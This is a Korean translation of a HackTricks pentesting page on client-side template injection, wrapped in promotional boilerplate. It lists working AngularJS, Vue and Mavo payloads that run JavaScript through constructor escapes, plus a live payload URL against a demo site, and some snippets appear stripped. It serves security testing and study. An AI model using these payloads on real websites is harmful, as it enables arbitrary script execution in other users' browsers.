htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
# 요약
이것은 **클라이언트**에서의 [**서버 측 템플릿 인젝션**](ssti-server-side-template-injection/)과 유사합니다. **SSTI**는 원격 서버에서 **코드를 실행**할 수 있게 해주지만, **CSTI**는 피해자에서 **임의의 JavaScript 코드를 실행**할 수 있게 해줍니다.
이 취약점을 **테스트**하는 방법은 **SSTI**의 경우와 매우 **유사**합니다. 해석기는 **이중 중괄호 사이에 실행할 내용**을 기대하고 실행합니다. 예를 들어 `{{ 7-7 }}`와 같은 것을 사용하면 서버가 **취약**하다면 `0`을 볼 수 있고, 그렇지 않다면 원래 내용인 `{{ 7-7 }}`을 볼 수 있습니다.
# AngularJS
AngularJS는 HTML과 상호 작용하는 널리 사용되는 JavaScript 프레임워크로, **`ng-app`**과 같은 지시자로 알려진 속성을 통해 HTML 콘텐츠를 처리할 수 있게 합니다. 이 지시자는 AngularJS가 HTML 콘텐츠를 처리하여 이중 중괄호 내에서 JavaScript 표현식을 실행할 수 있게 합니다.
사용자 입력이 `ng-app`과 함께 HTML 본문에 동적으로 삽입되는 시나리오에서는 임의의 JavaScript 코드를 실행할 수 있습니다. 이는 입력 내에서 AngularJS의 구문을 활용함으로써 달성할 수 있습니다. 아래는 JavaScript 코드를 실행하는 방법을 보여주는 예시입니다:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
```
[http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) 및 **[Burp Suite Academy](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)**에서 **AngularJS**의 취약성에 대한 매우 **기본적인 온라인 예제**를 찾을 수 있습니다.
{% hint style="danger" %}
[**Angular 1.6에서 샌드박스가 제거**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.)되어 이 버전부터 `{{constructor.constructor('alert(1)')()}}` 또는 ``와 같은 페이로드가 작동해야 합니다.
{% endhint %}
# VueJS
[https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)에서 **취약한 vue.js** 구현을 찾을 수 있습니다.\
작동하는 페이로드: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
그리고 취약한 예제의 **소스 코드**는 여기에서 찾을 수 있습니다: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
">
aaa
```
VUE에서 CSTI에 대한 정말 좋은 포스트는 [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)에서 찾을 수 있습니다.
## **V3**
```
{{_openBlock.constructor('alert(1)')()}}
```
신용: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
## **V2**
```
{{constructor.constructor('alert(1)')()}}
```
Credit: [Mario Heiderich](https://twitter.com/cure53berlin)
**더 많은 VUE 페이로드를 확인하려면** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected) **를 참조하세요.**
# Mavo
페이로드:
```
[7*7]
[(1,alert)(1)]
{{top.alert(1)}}
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
test
lolxself.alert('lol')lolx
test
[self.alert(1)mod1]
```
# **Brute-Force Detection List**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 **팔로우**하세요. 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.